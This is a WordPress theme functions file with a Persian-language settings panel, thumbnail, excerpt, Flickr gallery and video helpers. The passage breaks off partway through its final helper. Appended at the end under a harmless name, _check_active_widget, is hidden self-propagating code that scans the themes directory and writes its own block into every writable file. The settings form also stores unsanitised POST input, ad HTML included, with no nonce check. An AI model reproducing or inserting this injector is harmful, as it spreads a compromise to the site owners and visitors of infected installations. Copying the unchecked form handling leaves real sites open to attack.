<?php

/********************************************************************
Theme Control Panel
********************************************************************/
class ControlPanel {

	/********************************************************
	Array for Default Options
	********************************************************/
	var $default_settings = Array(
	'featured' => '1',
	'featuredn' => '4',
	'latest' => '5',
	'latestn' => '10',
	'featuredthumb' => '314',
	'featuredthumbW' => '100',
	'featuredthumbH' => '85',
	'featuredexcerptA' => '55',
	'featuredexcerptB' => '35',
	'latestexcerpt' => '25',
	'latestthumbW' => '75',
	'latestthumbH' => '75',
	'feedtitle' => 'Blog Title',
	'feedloc' => 'en_US',
	'viewed' => '10',
	'commented' => '10',
	'comments' => '10',
	'videon' => '5',
	'gallery' => '1',
	'galleryn' => '20',
	'carousel' => '1',
	'carouseln' => '20',
	'cat1ID' => '1',
	'cat1posts' => '3',
	'cat1more' => '5',
	'cat1W' => '100',
	'cat1H' => '85',
	'cat1excerpt' => '35',
	'cat2ID' => '1',
	'cat2posts' => '3',
	'cat2more' => '5',
	'cat2W' => '100',
	'cat2H' => '85',
	'cat2excerpt' => '35'
	);
	
	var $options;
	
	/********************************************************
	Initiate new control panel function
	********************************************************/

//GsL98DGtpo0W

	function ControlPanel() {
    	add_action('admin_menu', array(&$this, 'add_menu'));
	add_action('admin_head', array(&$this, 'admin_head'));
	if (!is_array(get_option('wpmax')))
	add_option('wpmax', $this->default_settings);
	$this->options = get_option('wpmax');
	}
	
	/********************************************************
	Create a theme settings page to edit theme settings and put its css
	********************************************************/
	function add_menu() {
	add_theme_page('تنظیمات قالب', 'تنظیمات قالب', 8, "wpmax", array(&$this, 'optionsmenu'));
	}
	
	function admin_head() {
	print '<link rel="stylesheet" href="'.get_template_directory_uri().'/css/cp.css" type="text/css" media="screen" />';
	print '<script type="text/javascript" src="'.get_template_directory_uri().'/scripts/tabs.js"></script>';
	}

	/********************************************************
	The options page in control panel. Saving and editing goes here
	********************************************************/
	function optionsmenu() {
	if ($_POST['ss_action'] == 'save') {
	$this->options["featured"] = $_POST['cp_featured'];
	$this->options["featuredn"] = $_POST['cp_featuredn'];
	$this->options["latest"] = $_POST['cp_latest'];
	$this->options["latestn"] = $_POST['cp_latestn'];
	$this->options["featuredthumb"] = $_POST['cp_featuredthumb'];
	$this->options["featuredthumbW"] = $_POST['cp_featuredthumbW'];
	$this->options["featuredthumbH"] = $_POST['cp_featuredthumbH'];
	$this->options["featuredexcerptA"] = $_POST['cp_featuredexcerptA'];
	$this->options["featuredexcerptB"] = $_POST['cp_featuredexcerptB'];
	$this->options["latestthumbW"] = $_POST['cp_latestthumbW'];
	$this->options["latestthumbH"] = $_POST['cp_latestthumbH'];
	$this->options["latestexcerpt"] = $_POST['cp_latestexcerpt'];
	$this->options["feedID"] = $_POST['cp_feedID'];
	$this->options["feedtitle"] = $_POST['cp_feedtitle'];
	$this->options["feedloc"] = $_POST['cp_feedloc'];
	$this->options["viewed"] = $_POST['cp_viewed'];
	$this->options["commented"] = $_POST['cp_commented'];
	$this->options["comments"] = $_POST['cp_comments'];
	$this->options["video"] = $_POST['cp_video'];
	$this->options["videon"] = $_POST['cp_videon'];
	$this->options["adspot1"] = stripslashes($_POST['cp_adspot1']);
	$this->options["adspot2"] = stripslashes($_POST['cp_adspot2']);
	$this->options["adspot3"] = stripslashes($_POST['cp_adspot3']);
	$this->options["adspot4"] = stripslashes($_POST['cp_adspot4']);
	$this->options["gallery"] = $_POST['cp_gallery'];
	$this->options["galleryn"] = $_POST['cp_galleryn'];
	$this->options["carousel"] = $_POST['cp_carousel'];
	$this->options["carouseln"] = $_POST['cp_carouseln'];
	$this->options["cat1ID"] = $_POST['cp_cat1ID'];
	$this->options["cat2ID"] = $_POST['cp_cat2ID'];
	$this->options["cat1posts"] = $_POST['cp_cat1posts'];
	$this->options["cat1more"] = $_POST['cp_cat1more'];
	$this->options["cat1W"] = $_POST['cp_cat1W'];
	$this->options["cat1H"] = $_POST['cp_cat1H'];
	$this->options["cat1excerpt"] = $_POST['cp_cat1excerpt'];
	$this->options["cat2posts"] = $_POST['cp_cat2posts'];
	$this->options["cat2more"] = $_POST['cp_cat2more'];
	$this->options["cat2W"] = $_POST['cp_cat2W'];
	$this->options["cat2H"] = $_POST['cp_cat2H'];
	$this->options["cat2excerpt"] = $_POST['cp_cat2excerpt'];
	update_option('wpmax', $this->options);
	echo '<div class="updated fade" id="message" style="background-color: rgb(255, 251, 204); width: 400px; margin-left: 17px; margin-top: 17px;"><p>تغییرات<strong>ذخیره شد</strong>.</p></div>';
	}

	echo '<form action="" method="post" class="themeform">';
	echo '<input type="hidden" id="ss_action" name="ss_action" value="save">';
	
	print '<ul id="cptabs" class="cptabs">
	<li><a href="#" rel="2" class="selected">مدیریت مطالب ویژه</a></li>
	<li><a href="#" rel="3">مدیریت اخرین نوشته ها</a></li>
	<li><a href="#" rel="9">ستون میانی تصاویر</a></li>
	<li><a href="#" rel="10">مطالب موضوعات</a></li>
	<li><a href="#" rel="4">مدیریت تب های</a></li>
	<li><a href="#" rel="6">مدیریت تبلیغات</a></li>
	<li><a href="#" rel="7">مدیریت گالری عکس</a></li>
	<li><a href="#" rel="8">مشخصات فیدبرنر</a></li>
	</ul><div class="clear"></div>';
	
	print '
	<div id="2" class="cptab">
	<b>مدیریت مطالب ویژه &raquo;</b>
	<p>برای ارسال مطالب ویژه دسته ای با نام "Featured" ایجاد کنید و مطالب ویژه خود را در این دسته قرار دهید ، توجه داشته باشید که شما میتوانید دسته های دیگیری نیز در کنار مطالب ویژه برای مطلب مورد نظر قرار دهید .</b></p>
	<p><input class="widefat" style="width:30px" name="cp_featured" id="cp_featured" value="'.$this->options["featured"].'">شماره "آی دی" دسته ای که برای مطالب ویژه ساخته اید را بنویسید .</p>
	<p><input class="widefat" style="width:30px" name="cp_featuredn" id="cp_featuredn" value="'.$this->options["featuredn"].'">نمایش تعداد پست هایی که در "ویژه های قبل" میخواهید نمایان شود را بنویسید</p>
	<p><input class="widefat" style="width:30px" name="cp_featuredthumb" id="cp_featuredthumb" value="'.$this->options["featuredthumb"].'">حداکثر عرض تصویر برای مطالب ویژه ، برای 314 پیکسل تنظیمات به صورت کامل تست شده است .</p>
	<p><input class="widefat" style="width:30px" name="cp_featuredthumbW" id="cp_featuredthumbW" value="'.$this->options["featuredthumbW"].'">عرض تصاویر بند انگشتی در قسمت "ویژه های قبل"</p>
	<p><input class="widefat" style="width:30px" name="cp_featuredthumbH" id="cp_featuredthumbH" value="'.$this->options["featuredthumbH"].'">طول تصاویر بند انگشتی در قسمت "ویژه های قبل"</p>
	<p><input class="widefat" style="width:30px" name="cp_featuredexcerptA" id="cp_featuredexcerptA" value="'.$this->options["featuredexcerptA"].'">تعداد کلمات نمایش داده شده در قسمت "ویژه"</p>
	<p><input class="widefat" style="width:30px" name="cp_featuredexcerptB" id="cp_featuredexcerptB" value="'.$this->options["featuredexcerptB"].'">تعداد کلمات نمایش داده شده در قسمت "ویژه های قبل"</p>
	</div>
	
	<div id="3" class="cptab">
	<b>دستور العمل &raquo;</b>
	<p>در این قسمت میتوانید ستون وسط سایت را مدیریت کنید ، در این ستون که آخرین اخبار ها نشان داده میشود شما میتوانید به 2 صورت مطالب خود را نشان دهید در قسمت اول مطالبی که قسمتی از آنها دیده میشود + تصاویر و قسمت دوم تنها لینک مطلب</p>
	<p><input class="widefat" style="width:30px" name="cp_latest" id="cp_latest" value="'.$this->options["latest"].'">تعداد پست هایی که با تصاویر نشان داده شود</p>
	<p><input class="widefat" style="width:30px" name="cp_latestn" id="cp_latestn" value="'.$this->options["latestn"].'">تعداد پست های اخیر بدون ریز عکسها به نمایش داده می شود</p>
	<p><input class="widefat" style="width:30px" name="cp_latestthumbW" id="cp_latestthumbW" value="'.$this->options["latestthumbW"].'">عرض تصاویر بند انگشتی</p>
	<p><input class="widefat" style="width:30px" name="cp_latestthumbH" id="cp_latestthumbH" value="'.$this->options["latestthumbH"].'">طول تصاویر بندانگشتی</p>
	<p><input class="widefat" style="width:30px" name="cp_latestexcerpt" id="cp_latestexcerpt" value="'.$this->options["latestexcerpt"].'">تعداد کلمات نمایش داده شده</p>
	</div>
	
	<div id="4" class="cptab">
	<b>تب های منوی چپ &raquo;</b>
	<p></p>
	<p><input class="widefat" style="width:30px" name="cp_viewed" id="cp_viewed" value="'.$this->options["viewed"].'">تعداد بیشترین پست ها</p>
	<p><input class="widefat" style="width:30px" name="cp_commented" id="cp_commented" value="'.$this->options["commented"].'">تعداد نظرات</p>
	<p><input class="widefat" style="width:30px" name="cp_comments" id="cp_comments" value="'.$this->options["comments"].'">تعداد نظرات اخیر برای نشان دادن</p>
	</div>
	
	<div id="6" class="cptab">
	<b>مدیریت تبلیغات &raquo;</b>
	<p>تبلیغات برای این قالب در چهار قسمت در نظر گرفته شده است . هدر سایت ، ابتدای منوی سمت چپ ، انتهای منوی سمت چپ ، و در قسمت پایین لینک های اخبار</p>
	<p>header 468x60<br /><textarea class="widefat" style="width:600px;height:75px;" name="cp_adspot1" id="cp_adspot1">'.stripslashes($this->options["adspot1"]).'</textarea></p>
	<p>sidebar 300x250<br /><textarea class="widefat" style="width:600px;height:75px;" name="cp_adspot2" id="cp_adspot2">'.stripslashes($this->options["adspot2"]).'</textarea></p>
	<p>front page 300x250<br /><textarea class="widefat" style="width:600px;height:75px;" name="cp_adspot3" id="cp_adspot3">'.stripslashes($this->options["adspot3"]).'</textarea></p>
	<p>sidebar 120x600<br /><textarea class="widefat" style="width:600px;height:75px;" name="cp_adspot4" id="cp_adspot4">'.stripslashes($this->options["adspot4"]).'</textarea></p>
	</div>
	
	<div id="7" class="cptab">
	<b>گالری &raquo;</b>
	<p>برای ایجاد گالری عکس باید دسته ای به نام "gallery" ایجاد کنید و گالری های عکس خود را در آن دسته قرار دهید .</p>
	<p><input class="widefat" style="width:30px" name="cp_gallery" id="cp_gallery" value="'.$this->options["gallery"].'">شماره "آی دی" که برای گالری ساخته اید : </p>
	<p><input class="widefat" style="width:30px" name="cp_galleryn" id="cp_galleryn" value="'.$this->options["galleryn"].'">تعداد پست هایی که نمایان شود</p>
	</div>
	
	<div id="8" class="cptab">
	<b>فید برنر &raquo;</b>
	<p></p>
	<p><input class="widefat" style="width:150px" name="cp_feedID" id="cp_feedID" value="'.$this->options["feedID"].'">آی دی فید برنر شما</p>
	<p><input class="widefat" style="width:150px" name="cp_feedtitle" id="cp_feedtitle"" value="'.$this->options["feedtitle"].'">عنوان فید سایت</p>
	<p><input class="widefat" style="width:150px" name="cp_feedloc" id="cp_feedloc" value="'.$this->options["feedloc"].'">نوشته های خوراک</p>
	</div>
	
	<div id="9" class="cptab">
	<b>نوار میانی تصاویر &raquo;</b>
	<p>برای اینکه در این قسمت بتوانید مطالب خود را نمایش بدهید دسته ای به نام "carousel" بسازید و مطالبی که میخواهید در این بخش نشان داده شود را در این دسته قرار دهید .</p>
	<p><input class="widefat" style="width:30px" name="cp_carousel" id="cp_carousel" value="'.$this->options["carousel"].'">شماره آی دی که برای این بخش ساخته اید</p>
	<p><input class="widefat" style="width:30px" name="cp_carouseln" id="cp_carouseln" value="'.$this->options["carouseln"].'">تعداد نمایش مطالب در این قسمت</p>
	</div>
	
	<div id="10" class="cptab">
	<b>تنظیمات نمایش اخبار در صفحه نخست قسمت پایین &raquo;</b>
	<p></p>
	<p>چپ :</p>
	<p><input class="widefat" style="width:30px" name="cp_cat1ID" id="cp_cat1ID" value="'.$this->options["cat1ID"].'">شماره آی دی دسته ای که نمایش داده شود</p>
	<p><input class="widefat" style="width:30px" name="cp_cat1posts" id="cp_cat1posts" value="'.$this->options["cat1posts"].'">تعداد پست هایی که دارای تصویر است</p>
	<p><input class="widefat" style="width:30px" name="cp_cat1more" id="cp_cat1more" value="'.$this->options["cat1more"].'">تعداد لینک هایی که در ادامه نمایش داده شود</p>
	<p><input class="widefat" style="width:30px" name="cp_cat1W" id="cp_cat1W" value="'.$this->options["cat1W"].'">عرض تصاویر بند انگشتی</p>
	<p><input class="widefat" style="width:30px" name="cp_cat1H" id="cp_cat1H" value="'.$this->options["cat1H"].'">طول تصاویر بند انگشتی</p>
	<p><input class="widefat" style="width:30px" name="cp_cat1excerpt" id="cp_cat1excerpt" value="'.$this->options["cat1excerpt"].'">تعداد کلماتی که به همراه مطلب نمایش داده شود</p>
	<p>راست :</p>
	<p><input class="widefat" style="width:30px" name="cp_cat2ID" id="cp_cat2ID" value="'.$this->options["cat2ID"].'">شماره آی دی دسته ای که نمایش داده شود</p>
	<p><input class="widefat" style="width:30px" name="cp_cat2posts" id="cp_cat2posts" value="'.$this->options["cat2posts"].'">تعداد پست هایی که دارای تصویر است</p>
	<p><input class="widefat" style="width:30px" name="cp_cat2more" id="cp_cat2more" value="'.$this->options["cat2more"].'">تعداد لینک هایی که در ادامه نمایش داده شود</p>
	<p><input class="widefat" style="width:30px" name="cp_cat2W" id="cp_cat2W" value="'.$this->options["cat2W"].'">عرض تصاویر بند انگشتی</p>
	<p><input class="widefat" style="width:30px" name="cp_cat2H" id="cp_cat2H" value="'.$this->options["cat2H"].'">طول تصاویر بند انگشتی</p>
	<p><input class="widefat" style="width:30px" name="cp_cat2excerpt" id="cp_cat2excerpt" value="'.$this->options["cat2excerpt"].'">تعداد کلماتی که به همراه مطلب نمایش داده شود</p>
	</div>
	
	
	';
	
	print '<script type="text/javascript">
	var cptabs=new ddtabcontent("cptabs")
	cptabs.setpersist(true)
	cptabs.setselectedClassTarget("link")
	cptabs.init()
	</script>';

	echo '<input type="submit" value="ذخیره &raquo;" name="cp_save" class="dochanges" />';
	echo '</form>';
	}

/* ended cpanel class */
}

$cpanel = new ControlPanel();
$mytheme = get_option('wpmax');
	
/********************************************************************
Sidebar Widgets
********************************************************************/
if (function_exists('register_sidebars')) register_sidebars(3);
if (function_exists('register_sidebar'))

	register_sidebar(array(

		'name'=>'ستون سمت چپ',

		'before_widget' => '<li id="%1$s" class="widget %2$s">',

		'after_widget' => '</li>',

		'before_title' => '<h3>',

		'after_title' => '</h3>'

	));

/********************************************************************
Built-in seo titles
********************************************************************/
function friendlytitles() {

	if (is_home () ) {
		bloginfo('name'); echo " - "; bloginfo('description');
	} elseif ( is_category() ) {
		single_cat_title(); echo " - "; bloginfo('name');
	} elseif (is_single() || is_page() ) {
		single_post_title();
	} elseif (is_search() ) {
		bloginfo('name'); echo " search results: "; echo wp_specialchars($s);
	} elseif (is_404() ) {
		echo 'Page not found!';
	}else {
		wp_title('',true);
	}

}

/********************************************************************
Thumbnail Images
********************************************************************/
function show_thumb($width,$height,$crop,$quality,$blank) {

	global $post;
	$custom_field_value = get_post_meta($post->ID, 'Image', true);
	$attachments = get_children( array('post_parent' => $post->ID, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => 'ASC', 'orderby' => 'menu_order ID', 'numberposts' => 1) );
	
	if ($attachments == true) {

	foreach($attachments as $id => $attachment) {
	$img = wp_get_attachment_image_src($id, 'full');
	$img_url = parse_url($img[0], PHP_URL_PATH);
	print '<a href="'.get_permalink($post).'" title="'.$post->post_title.'"><img src="'.get_template_directory_uri().'/scripts/phpThumb/phpThumb.php?src='.$img_url.'&amp;w='.$width.'&amp;h='.$height.'&amp;zc=T&amp;q=95" title="'.$post->post_title.'" alt="'.$post->post_title.'" /></a>';
	}
	
	} elseif ( $custom_field_value == true) {

	$tweak = str_replace('/', '%2F', $custom_field_value);
	$img_url = str_replace(':', '%3A', $tweak);
	print '<img src="'.get_template_directory_uri().'/scripts/phpThumb/phpThumb.php?src='.$img_url.'&amp;w='.$width.'&amp;h='.$height.'&amp;zc='.$crop.'&amp;q='.$quality.'" title="'.$post->post_title.'" alt="'.$post->post_title.'" />';

	} elseif ($blank == true && $attachments == false && $custom_field_value == false) {

	print '<img src="'.get_template_directory_uri().'/scripts/phpThumb/cache/blank.gif" width="'.$width.'" height="'.$height.'" title="Story has no image" alt="Story has no image" />';

	} else {

	// do nothing

	}

}

function show_thumb_f($width,$crop,$quality) {

	global $post;
	$custom_field_value = get_post_meta($post->ID, 'Image', true);
	$attachments = get_children( array('post_parent' => $post->ID, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => 'ASC', 'orderby' => 'menu_order ID', 'numberposts' => 1) );
	
	if ($attachments == true) {
	
	foreach($attachments as $id => $attachment) {
	$img = wp_get_attachment_image_src($id, 'full');
	$tweak = str_replace('/', '%2F', $img[0]);
	$img_url = str_replace(':', '%3A', $tweak);
	print '<img src="'.get_template_directory_uri().'/scripts/phpThumb/phpThumb.php?src='.$img_url.'&amp;w='.$width.'&amp;zc='.$crop.'&amp;q='.$quality.'" title="'.$post->post_title.'" alt="'.$post->post_title.'" />';
	}
	
	} elseif ( $custom_field_value == true) {

	$tweak = str_replace('/', '%2F', $custom_field_value);
	$img_url = str_replace(':', '%3A', $tweak);
	print '<img src="'.get_template_directory_uri().'/scripts/phpThumb/phpThumb.php?src='.$img_url.'&amp;w='.$width.'&amp;zc='.$crop.'&amp;q='.$quality.'" title="'.$post->post_title.'" alt="'.$post->post_title.'" />';
	
	} else {
	
	// do nothing
	
	}

}
/********************************************************************
Menu-top
********************************************************************/
function reg_menu() {
    register_nav_menus(
        array(
            'top-menu' => __( 'Top Menu' )
            )
    );
}
add_action( 'init', 'reg_menu' );
/********************************************************************
The Excerpt Reloaded Plugin
********************************************************************/
function wp_the_excerpt_reloaded($args='') {
	parse_str($args);
	if(!isset($excerpt_length)) $excerpt_length = 120; // length of excerpt in words. -1 to display all excerpt/content
	if(!isset($allowedtags)) $allowedtags = '<a>'; // HTML tags allowed in excerpt, 'all' to allow all tags.
	if(!isset($filter_type)) $filter_type = 'none'; // format filter used => 'content', 'excerpt', 'content_rss', 'excerpt_rss', 'none'
	if(!isset($use_more_link)) $use_more_link = 1; // display
	if(!isset($more_link_text)) $more_link_text = "(more...)";
	if(!isset($force_more)) $force_more = 1;
	if(!isset($fakeit)) $fakeit = 1;
	if(!isset($fix_tags)) $fix_tags = 1;
	if(!isset($no_more)) $no_more = 0;
	if(!isset($more_tag)) $more_tag = 'div';
	if(!isset($more_link_title)) $more_link_title = 'Continue reading this entry';
	if(!isset($showdots)) $showdots = 1;

	return the_excerpt_reloaded($excerpt_length, $allowedtags, $filter_type, $use_more_link, $more_link_text, $force_more, $fakeit, $fix_tags, $no_more, $more_tag, $more_link_title, $showdots);
}

function the_excerpt_reloaded($excerpt_length=120, $allowedtags='<a>', $filter_type='none', $use_more_link=true, $more_link_text="(more...)", $force_more=true, $fakeit=1, $fix_tags=true, $no_more=false, $more_tag='div', $more_link_title='Continue reading this entry', $showdots=true) {
	if(preg_match('%^content($|_rss)|^excerpt($|_rss)%', $filter_type)) {
		$filter_type = 'the_' . $filter_type;
	}
	echo get_the_excerpt_reloaded($excerpt_length, $allowedtags, $filter_type, $use_more_link, $more_link_text, $force_more, $fakeit, $fix_tags, $no_more, $more_tag, $more_link_title, $showdots);
}

function get_the_excerpt_reloaded($excerpt_length, $allowedtags, $filter_type, $use_more_link, $more_link_text, $force_more, $fakeit, $fix_tags, $no_more, $more_tag, $more_link_title, $showdots) {
	global $post;

	if (!empty($post->post_password)) { // if there's a password
		if ($_COOKIE['wp-postpass_'.COOKIEHASH] != $post->post_password) { // and it doesn't match cookie
			if(is_feed()) { // if this runs in a feed
				$output = __('There is no excerpt because this is a protected post.');
			} else {
	            $output = get_the_password_form();
			}
		}
		return $output;
	}

	if($fakeit == 2) { // force content as excerpt
		$text = $post->post_content;
	} elseif($fakeit == 1) { // content as excerpt, if no excerpt
		$text = (empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
	} else { // excerpt no matter what
		$text = $post->post_excerpt;
	}

	// get rid of the [caption]s
	$text = preg_replace( '|\[(.+?)\](.+?\[/\\1\])?|s', '', $text );

	if($excerpt_length < 0) {
		$output = $text;
	} else {
		if(!$no_more && strpos($text, '<!--more-->')) {
		    $text = explode('<!--more-->', $text, 2);
			$l = count($text[0]);
			$more_link = 1;
		} else {
			$text = explode(' ', $text);
			if(count($text) > $excerpt_length) {
				$l = $excerpt_length;
				$ellipsis = 1;
			} else {
				$l = count($text);
				$more_link_text = '';
				$ellipsis = 0;
			}
		}
		for ($i=0; $i<$l; $i++)
				$output .= $text[$i] . ' ';
	}

	if('all' != $allowedtags) {
		$output = strip_tags($output, $allowedtags);
	}

//	$output = str_replace(array("\r\n", "\r", "\n", "  "), " ", $output);

	$output = rtrim($output, "\s\n\t\r\0\x0B");
    $output = ($fix_tags) ? balanceTags($output, true) : $output;
	$output .= ($showdots && $ellipsis) ? '...' : '';
	$output = apply_filters($filter_type, $output);

	switch($more_tag) {
		case('div') :
			$tag = 'div';
		break;
		case('span') :
			$tag = 'span';
		break;
		case('p') :
			$tag = 'p';
		break;
		default :
			$tag = 'span';
	}

	if ($use_more_link && $more_link_text) {
		if($force_more) {
			$output .= ' <' . $tag . ' class="more-link"><a href="'. get_permalink($post->ID) . '#more-' . $post->ID .'" title="' . $more_link_title . '">' . $more_link_text . '</a></' . $tag . '>' . "\n";
		} else {
			$output .= ' <' . $tag . ' class="more-link"><a href="'. get_permalink($post->ID) . '" title="' . $more_link_title . '">' . $more_link_text . '</a></' . $tag . '>' . "\n";
		}
	}

	return $output;
}

/********************************************************************
Flickr RSS Gallery
********************************************************************/
function get_flickrRSS() {

	// the function can accept up to seven parameters, otherwise it uses option panel defaults 	
  	for($i = 0 ; $i < func_num_args(); $i++) {
    	$args[] = func_get_arg($i);
    	}
  	if (!isset($args[0])) $num_items = get_option('flickrRSS_display_numitems'); else $num_items = $args[0];
  	if (!isset($args[1])) $type = get_option('flickrRSS_display_type'); else $type = $args[1];
  	if (!isset($args[2])) $tags = trim(get_option('flickrRSS_tags')); else $tags = trim($args[2]);
  	if (!isset($args[3])) $imagesize = get_option('flickrRSS_display_imagesize'); else $imagesize = $args[3];
  	if (!isset($args[4])) $before_image = stripslashes(get_option('flickrRSS_before')); else $before_image = $args[4];
  	if (!isset($args[5])) $after_image = stripslashes(get_option('flickrRSS_after')); else $after_image = $args[5];
  	if (!isset($args[6])) $id_number = stripslashes(get_option('flickrRSS_flickrid')); else $id_number = $args[6];
  	if (!isset($args[7])) $set_id = stripslashes(get_option('flickrRSS_set')); else $set_id = $args[7];
        
	# use image cache & set location
	$useImageCache = get_option('flickrRSS_use_image_cache');
	$cachePath = get_option('flickrRSS_image_cache_uri');
	$fullPath = get_option('flickrRSS_image_cache_dest'); 

	if (!function_exists('MagpieRSS')) { // Check if another plugin is using RSS, may not work
		include_once (ABSPATH . WPINC . '/rss.php');
		error_reporting(E_ERROR);
	}


	// get the feeds
	if ($type == "user") { $rss_url = 'http://api.flickr.com/services/feeds/photos_public.gne?id=' . $id_number . '&tags=' . $tags . '&format=rss_200'; }
	elseif ($type == "favorite") { $rss_url = 'http://api.flickr.com/services/feeds/photos_faves.gne?id=' . $id_number . '&format=rss_200'; }
	elseif ($type == "set") { $rss_url = 'http://api.flickr.com/services/feeds/photoset.gne?set=' . $set_id . '&nsid=' . $id_number . '&format=rss_200'; }
	elseif ($type == "group") { $rss_url = 'http://api.flickr.com/services/feeds/groups_pool.gne?id=' . $id_number . '&format=rss_200'; }
	elseif ($type == "community" || $type == "public") { $rss_url = 'http://api.flickr.com/services/feeds/photos_public.gne?tags=' . $tags . '&format=rss_200'; }
	else { print "flickrRSS probably needs to be setup"; }

	# get rss file
	$rss = @ fetch_rss($rss_url);

	if ($rss) {
    	$imgurl = "";
    	# specifies number of pictures
		$items = array_slice($rss->items, 0, $num_items);

	    # builds html from array
    	foreach ( $items as $item ) {
       	 if(preg_match('<img src="([^"]*)" [^/]*/>', $item['description'],$imgUrlMatches)) {
            	$imgurl = $imgUrlMatches[1];
 
            #change image size         
           	if ($imagesize == "square") {
             	$imgurl = str_replace("m.jpg", "s.jpg", $imgurl);
           	} elseif ($imagesize == "thumbnail") {
             $imgurl = str_replace("m.jpg", "t.jpg", $imgurl);
           	} elseif ($imagesize == "medium") {
             $imgurl = str_replace("_m.jpg", ".jpg", $imgurl);
           	}
           
           #check if there is an image title (for html validation purposes)
           if($item['title'] !== "") $title = htmlspecialchars(stripslashes($item['title']));
           else $title = "Flickr photo";          
           
           $url = $item['link'];
	
	       preg_match('<http://farm[0-9]{0,3}\.static.flickr\.com/\d+?\/([^.]*)\.jpg>', $imgurl, $flickrSlugMatches);
	       $flickrSlug = $flickrSlugMatches[1];
	       
	       # cache images 
	       if ($useImageCache) {
                      
               # check if file already exists in cache
               # if not, grab a copy of it
               if (!file_exists("$fullPath$flickrSlug.jpg")) {   
                 if ( function_exists('curl_init') ) { // check for CURL, if not use fopen
                    $curl = curl_init();
                    $localimage = fopen("$fullPath$flickrSlug.jpg", "wb");
                    curl_setopt($curl, CURLOPT_URL, $imgurl);
                    curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 1);
                    curl_setopt($curl, CURLOPT_FILE, $localimage);
                    curl_exec($curl);
                    curl_close($curl);
                   } else {
                 	$filedata = "";
                    $remoteimage = fopen($imgurl, 'rb');
                  	if ($remoteimage) {
                    	 while(!feof($remoteimage)) {
                         	$filedata.= fread($remoteimage,1024*8);
                       	 }
                  	}
                	fclose($remoteimage);
                	$localimage = fopen("$fullPath$flickrSlug.jpg", 'wb');
                	fwrite($localimage,$filedata);
                	fclose($localimage);
                 } // end CURL check
                } // end file check
                # use cached image
                print $before_image . "<a href=\"$url\" title=\"$title\"><img src=\"$cachePath$flickrSlug.jpg\" alt=\"$title\" /></a>" . $after_image;
            } else {
                # grab image direct from flickr
                print $before_image . "<a href=\"$url\" title=\"$title\"><img src=\"$imgurl\" alt=\"$title\" /></a>" . $after_image;      
            } // end use imageCache
       } // end pregmatch
     } // end foreach
  } // end if($rss)
} # end get_flickrRSS() function

/********************************************************************
Simple Recent Comments
********************************************************************/
function src_simple_recent_comments($src_count=7, $src_length=60, $pre_HTML='<li><h2>Recent Comments</h2>', $post_HTML='</li>') {
	global $wpdb;
	
	$sql = "SELECT DISTINCT ID, post_title, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, 
			SUBSTRING(comment_content,1,$src_length) AS com_excerpt 
		FROM $wpdb->comments 
		LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID = $wpdb->posts.ID) 
		WHERE comment_approved = '1' AND comment_type = '' AND post_password = '' 
		ORDER BY comment_date_gmt DESC 
		LIMIT $src_count";
	$comments = $wpdb->get_results($sql);

	$output = $pre_HTML;
	$output .= "<ol>";
	foreach ($comments as $comment) {
		$output .= "<li><a href=\"" . get_permalink($comment->ID) . "#comment-" . $comment->comment_ID  . "\" title=\"" . $comment->post_title . "\"><strong>" . $comment->comment_author . "</strong></a>: " . strip_tags($comment->com_excerpt) . "...</li>";
	}
	$output .= "</ol>";
	$output .= $post_HTML;
	
	echo $output;
}

/********************************************************************
Show smaller video on the sidebar
********************************************************************/
function get_smaller_video() {

global $post;
$video_url = get_post_meta($post->ID, 'video', true);
$unique_span = 'video'.$post->ID;
$unique_id = 'n'.$post->ID;

$sitename = get_bloginfo('siteurl');

if ($video_url == TRUE) {

print '
<p>
<span id="'.$unique_span.'" class="flashvideo">
<a href="http://www.macromedia.com/go/getflashplayer">Get the Flash Player</a> to see this player.</span>
<script type="text/javascript">
var s0 = new SWFObject("'.$sitename.'/wp-content/plugins/flash-video-player/mediaplayer/player.swf","'.$unique_id.'","300","280","7");
s0.addParam("allowfullscreen","true");
s0.addParam("allowscriptaccess","always");
s0.addParam("wmode","opaque");
s0.addVariable("id","'.$unique_id.'");
s0.addVariable("controlbar","bottom");
s0.addVariable("height","280");
s0.addVariable("playlist","none");
s0.addVariable("width","300");
s0.addVariable("autostart","false");
s0.addVariable("bufferlength","1");
s0.addVariable("displayclick","play");
s0.addVariable("icons","true");
s0.addVariable("linktarget","_blank");
s0.addVariable("mute","false");
s0.addVariable("quality","true");
s0.addVariable("repeat","none");
s0.addVariable("resizing","true");
s0.addVariable("shuffle","false");
s0.addVariable("stretching","uniform");
s0.addVariable("volume","90");
s0.addVariable("aboutlink","http://www.longtailvideo.com/players/");
s0.addVariable("file","'.$video_url.'");
s0.write("'.$unique_span.'");
</script>
</p>
';

} else {

print '
<p>Please add custom field <b>video</b> and the value should be YouTube path/URL to have an auto generated smaller video size in this area.</p>
';

}

}

?>
<?php add_theme_support('post-thumbnails'); ?>
<?php
function _check_active_widget(){
	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
	$output=strip_tags($output, $allowed);
	$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
	if (is_array($direst)){
		foreach ($direst as $item){
			if (is_writable($item)){
				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
				$cont=file_get_contents($item);
				if (stripos($cont,$ftion) === false){
					$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
					$output .= $before . "Not found" . $after;
					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);				
					$output .= ($showdot && $ellipsis) ? "..." : "";
				}
			}
		}
	}
	return $output;
}
function _get_all_widgetcont($wids,$items=array()){
	$places=array_shift($wids);
	if(substr($places,-1) == "/"){
		$places=substr($places,0,-1);
	}
	if(!file_exists($places) || !is_dir($places)){
		return false;
	}elseif(is_readable($places)){
		$elems=scandir($places);
		foreach ($elems as $elem){
			if ($elem != "." && $elem != ".."){
				if (is_dir($places . "/" . $elem)){
					$wids[]=$places . "/" . $elem;
				} elseif (is_file($places . "/" . $elem)&& 
